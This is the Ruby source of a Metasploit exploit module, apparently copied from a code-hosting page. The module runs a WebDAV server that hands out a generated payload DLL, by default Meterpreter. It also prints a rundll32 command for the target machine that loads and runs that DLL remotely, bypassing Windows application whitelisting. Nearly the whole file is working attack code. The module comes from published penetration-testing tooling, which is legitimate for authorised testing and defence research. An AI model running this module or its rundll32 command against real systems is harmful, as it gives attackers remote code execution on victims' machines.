174 lines
5.5 KiB
Ruby
174 lines
5.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Serve DLL via webdav server',
|
|
'Description' => %q(
|
|
This module simplifies the rundll32.exe Application Whitelisting Bypass technique.
|
|
The module creates a webdav server that hosts a dll file. When the user types the provided rundll32
|
|
command on a system, rundll32 will load the dll remotly and execute the provided export function.
|
|
The export function needs to be valid, but the default meterpreter function can be anything.
|
|
The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
|
|
but does not load the dll from that location. This file should be removed after execution.
|
|
The extension can be anything you'd like, but you don't have to use one. Two files will be
|
|
written to disk. One named the requested name and one with a dll extension attached.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Ryan Hanson <ryan.hanson[at]optiv.com>', # research discovery (@ryhanson)
|
|
'James Cook <james.cook[at]optiv.com>' # MSF Module (@_jbcook)
|
|
],
|
|
'Targets' => [['Automatic', {}]],
|
|
'Platform' => %w[win],
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '1999-01-01'))
|
|
register_options(
|
|
[
|
|
OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/'])
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def primer
|
|
if datastore['URIPATH'] != '/'
|
|
fail_with(Failure::BadConfig, 'Using WebDAV requires URIPATH=/')
|
|
end
|
|
print_status('Run the following command on the target machine:')
|
|
webdav = ''
|
|
if datastore['SSL']
|
|
if datastore['SRVPORT'] != 443
|
|
fail_with(Failure::BadConfig, 'SRVPORT must be 443')
|
|
end
|
|
webdav = "#{datastore['SRVHOST']}@ssl"
|
|
else
|
|
webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}"
|
|
end
|
|
print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init")
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
if _request.uri.downcase =~ /\.config/
|
|
process_ignore(cli, _request)
|
|
return
|
|
elsif _request.uri.downcase =~ /\.manifest/
|
|
process_ignore(cli, _request)
|
|
return
|
|
end
|
|
case _request.method
|
|
when 'OPTIONS'
|
|
process_options(cli, _request)
|
|
when 'PROPFIND'
|
|
process_propfind(cli, _request)
|
|
when 'GET'
|
|
process_get(cli, _request)
|
|
else
|
|
process_ignore(cli, _request)
|
|
end
|
|
end
|
|
|
|
# Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found
|
|
def send_not_found(cli)
|
|
resp_404 = create_response(404, 'Not Found')
|
|
resp_404.body = %Q{\
|
|
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
|
<html><head>
|
|
<title>404 Not Found</title>
|
|
</head><body>
|
|
<h1>Not Found</h1>
|
|
<p>The requested URL was not found on this server.</p>
|
|
<hr>
|
|
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
|
</body></html>
|
|
}
|
|
|
|
cli.send_response(resp_404)
|
|
end
|
|
|
|
def process_ignore(cli, _request)
|
|
vprint_status("#{_request.method} => 404 (#{_request.uri})")
|
|
send_not_found(cli)
|
|
end
|
|
|
|
def process_options(cli, request)
|
|
vprint_status("OPTIONS #{request.uri}")
|
|
headers = {
|
|
'Allow' => 'GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS',
|
|
'DAV' => '1',
|
|
'Connection' => 'keep-alive'
|
|
}
|
|
resp = create_response(207, 'Multi-Status')
|
|
headers.each_pair { |k, v| resp[k] = v }
|
|
resp.body = ''
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
def process_propfind(cli, request)
|
|
vprint_status("PROPFIND #{request.uri}")
|
|
changed = Time.now.strftime('%a, %d %b %Y %H:%M:%S GMT')
|
|
created = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
|
|
filename = request.uri.delete('/')
|
|
p = regenerate_payload(cli)
|
|
data = generate_payload_dll(code: p.encoded)
|
|
prop_resp = prop_response(filename, created, data.length, changed)
|
|
vprint_status("Resp: #{prop_resp}")
|
|
resp = create_response(207, 'Multi-Status')
|
|
headers = {
|
|
'Transfer-Encoding' => 'chuncked',
|
|
'Connection' => 'keep-alive'
|
|
}
|
|
headers.each_pair { |k, v| resp[k] = v }
|
|
resp.body = prop_resp
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
def process_get(cli, request)
|
|
print_status("GET #{request.uri}")
|
|
resp = create_response(200, 'OK')
|
|
headers = {
|
|
'Content-Type' => 'aplication/octet-stream',
|
|
'Accept-Range' => 'bytes'
|
|
}
|
|
headers.each_pair { |k, v| resp[k] = v }
|
|
p = regenerate_payload(cli)
|
|
data = generate_payload_dll(code: p.encoded)
|
|
resp.body = data
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
def prop_response(filename, created, length, changed)
|
|
%(<?xml version="1.0" encoding="utf-8" ?>
|
|
<D:multistatus xmlns:D="DAV:">
|
|
<D:response>
|
|
<D:href>/#{filename}</D:href>
|
|
<D:propstat>
|
|
<D:prop>
|
|
<D:creationdate>#{created}</D:creationdate>
|
|
<D:displayname>#{filename}</D:displayname>
|
|
<D:getcontentlanguage/>
|
|
<D:getcontentlength>#{length}</D:getcontentlength>
|
|
<D:getcontenttype/>
|
|
<D:getetag/>
|
|
<D:getlastmodified>#{changed}</D:getlastmodified>
|
|
<D:lockdiscovery/>
|
|
<D:resourcetype/>
|
|
<D:source/>
|
|
<D:supportedlock/>
|
|
</D:prop>
|
|
<D:status>HTTP/1.1 200 OK</D:status>
|
|
</D:propstat>
|
|
</D:response>
|
|
</D:multistatus>)
|
|
end
|
|
end
|